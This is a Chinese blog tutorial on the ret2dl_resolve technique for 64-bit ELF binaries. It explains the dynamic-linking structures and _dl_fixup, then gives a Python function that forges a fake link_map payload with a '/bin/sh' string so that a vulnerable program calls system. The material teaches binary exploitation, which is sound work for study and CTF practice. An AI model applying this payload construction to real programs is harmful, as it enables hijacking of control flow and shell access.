当前位置:首页 > 技术 > 正文内容

深入解析64位下的ret2dl_resolve技术

访客 技术 2026年6月1日 1

介绍

本文将探讨在64位系统中利用ret2dl_resolve技术,该技术通过利用ELF文件格式和动态链接器的特性,实现对关键函数位置的识别和调用,而无需泄露内存信息。

原理简介

当一个动态链接的ELF文件首次调用外部函数时,它会调用_dl_runtime_resolve来解析函数的实际地址,并更新GOT表。ret2dl_resolve就是利用这一过程,伪造相关结构体,使得程序可以解析并执行恶意函数如execve或system。

前置知识

ELF文件中的动态链接部分

.dynamic段

包含多个Elf64_Dyn结构体,存储了动态链接器所需的基本信息。

typedef struct {
    Elf64_Sxword d_tag; // 动态段标识号
    union {
        Elf64_Xword d_val; // 整数值
        Elf64_Addr d_ptr;  // 地址值
    } d_un;
} Elf64_Dyn;

.rela.plt段

包含多个Elf64_Rela结构体,用于修正函数引用。

typedef struct {
    Elf64_Addr r_offset; // 虚拟地址
    Elf64_Xword r_info;  // 复合值
    Elf64_Sxword r_addend; // 常数加项
} Elf64_Rela;

.dynsym段

包含多个Elf64_Sym结构体,每个libc函数都有自己的Elf64_Sym结构体。

typedef struct {
    Elf64_Word st_name; // 符号名偏移
    unsigned char st_info; // 符号类型及绑定属性
    unsigned char st_other; // 符号可见性
    Elf64_Section st_shndx; // 节头表索引
    Elf64_Addr st_value; // 符号值
    Elf64_Xword st_size; // 符号大小
} Elf64_Sym;

延迟绑定与_dl_runtime_resolve

在第一次调用外部函数时,程序会跳转到该函数的GOT条目,如果尚未解析,则跳转到PLT条目,最终调用_dl_runtime_resolve进行符号解析和重定位。

.text
.globl _dl_runtime_resolve
_dl_runtime_resolve:
    cfi_startproc
    # 保存寄存器状态
    pushq %rbx
    mov %rsp, %rbx
    sub $REGISTER_SAVE_AREA, %rsp
    # 保存寄存器内容
    movq %rax, REGISTER_SAVE_RAX(%rsp)
    call _dl_fixup
    # 恢复寄存器状态
    add $(LOCAL_STORAGE_AREA + 16), %rsp
    jmp *%r11
    cfi_endproc

_link_map结构体

link_map结构体包含了共享对象的相关信息,如加载地址和动态段指针。

struct link_map {
    ElfW(Addr) l_addr; // 加载地址差异
    char *l_name; // 文件名
    ElfW(Dyn) *l_ld; // 动态段指针
    struct link_map *l_next, *l_prev; // 链接映射链表
};

_dl_fixup函数

_dl_fixup负责查找目标符号并返回其地址。

void *_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg) {
    const ElfW(Sym) *const symtab = (const void *) D_PTR(l, l_info[DT_SYMTAB]);
    const char *strtab = (const void *) D_PTR(l, l_info[DT_STRTAB]);
    const PLTREL *const reloc = (const void *) (D_PTR(l, l_info[DT_JMPREL]) + reloc_arg);
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];
    void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
    lookup_t result;
    DL_FIXUP_VALUE_TYPE value;

    if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0) {
        result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope,
                                     version, ELF_RTYPE_CLASS_PLT, flags, NULL);
        value = DL_FIXUP_MAKE_VALUE(result, LOOKUP_VALUE_ADDRESS(result) + sym->st_value);
    } else {
        value = DL_FIXUP_MAKE_VALUE(l, l->l_addr + sym->st_value);
        result = l;
    }
    return elf_machine_fixup_plt(l, result, reloc, rel_addr, value);
}

总结

  • Dynamic段由Elf64_Dyn结构体构成。
  • Dynsym段由Elf64_Sym结构体构成。
  • .rela.plt段由Elf64_Rela结构体构成。
  • _dl_runtime_resolve实际上执行了_dl_fixup。

实战应用

结合一个具体的例子,展示如何利用上述知识构造攻击载荷,触发_dl_runtime_resolve并执行期望的函数。

def get_ret2dl_data(fake_link_map_addr, got_solved_addr, system_base, solved_base):
    offset = system_base - solved_base
    fake_Elf64_Dyn = b""
    fake_Elf64_Dyn += p64(0)  # d_tag
    fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18)  # d_ptr

    fake_Elf64_Rela = b""
    fake_Elf64_Rela += p64(fake_link_map_addr - offset)  # r_offset
    fake_Elf64_Rela += p64(7)  # r_info
    fake_Elf64_Rela += p64(0)  # r_addend

    fake_Elf64_Sym = b""
    fake_Elf64_Sym += p32(0)  # st_name
    fake_Elf64_Sym += b'AAAA'  # st_info, st_other, st_shndx
    fake_Elf64_Sym += p64(got_solved_addr - 8)  # st_value
    fake_Elf64_Sym += p64(0)  # st_size

    fake_link_map_data = b""
    if offset < 0:
        fake_link_map_data += p64(2 ** 64 + offset)  # l_addr
    else:
        fake_link_map_data += p64(offset)

    fake_link_map_data += fake_Elf64_Dyn
    fake_link_map_data += fake_Elf64_Rela
    fake_link_map_data += fake_Elf64_Sym
    fake_link_map_data += b'\x00' * 0x20
    fake_link_map_data += p64(fake_link_map_addr)  # DT_STRTAB
    fake_link_map_data += p64(fake_link_map_addr + 0x30)  # DT_SYMTAB
    fake_link_map_data += b"/bin/sh\x00"
    fake_link_map_data += b'\x00' * 0x78
    fake_link_map_data += p64(fake_link_map_addr + 0x8)  # DT_JMPREL

    return fake_link_map_data

以上代码展示了如何伪造必要的结构体数据,并将其写入可控的内存区域,从而控制函数执行流。

相关文章

Linux crontab 详解

1) crontab 是什么cron 是 Linux 的定时任务守护进程;crontab 是用来编辑/查看“按时间周期执行命令”的表(cron table)。常见两类:用户 crontab:每个用户一份(crontab -e 编辑)系统级 crontab / cron.d:可指定执行用户(/etc/crontab、/etc/cron.d/*)2) crontab 时间...

富文本里可以允许的 HTML 属性

一、所有标签默认允许的安全属性(极少)class        (可选)id           (通常建议禁用)title️ 注意:id 容易被滥用做锚点注入,很多系统直接禁用class 允许的话最好只允许固定前缀(如 editor-*)二、a 标签允许属性<a href="" t...

Mac 安装 Node.js 指南

方法一:通过官网安装包(最简单,适合初学者)如果你只是想快速安装并开始使用,这是最直接的方法。访问 Node.js 官网。页面会显示两个版本:LTS (Recommended For Most Users):长期支持版,最稳定。建议选这个。Current:最新特性版,包含最新功能但可能不够稳定。下载 .pkg 安装包并运行。按照安装向导点击“下一步”即可完成。方法二:使用 Homebrew 安装(...

Dom\HTML_NO_DEFAULT_NS 的副作用:自动加闭合标签

在使用Dom\HTMLDocument时,Dom\HTML_NO_DEFAULT_NS 将禁止在解析过程中设置元素的命名空间, 此设置是为了与DOMDocument向后兼容而存在的。当使用它时,已知的一个副作用就是:自动加闭合标签例如 </img> 为什么会这样?当你使用:Dom\HTML_NO_DEFAULT_NS文档会变成 无命名空间模式,此时内部更接近 XML...

Laravel 事件和监听器创建

在 Laravel 中,使用 Artisan 命令创建 Events(事件) 和 Listeners(监听器) 是非常高效的。你可以通过以下几种方式来实现:1. 手动创建单个 Event如果你只想创建一个事件类,可以使用 make:event 命令:Bashphp artisan make:event UserRegistered执行后,文件将生成在 app/Even...

自定义域名解析神器 dnsmasq

什么是 dnsmasq?dnsmasq 是一个轻量级、功能强大的网络服务工具,专为小型和中等规模网络设计。它是一个综合的网络基础设施解决方案[1]。dnsmasq 能做什么?功能说明应用场景DNS 转发与缓存将 DNS 查询转发到上游服务器(ISP、Google DNS 等),并在本地缓存结果加快 DNS 查询速度,减少外部 DNS 流量本地 DNS解析本地网络设备的主机名,无需编辑&n...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。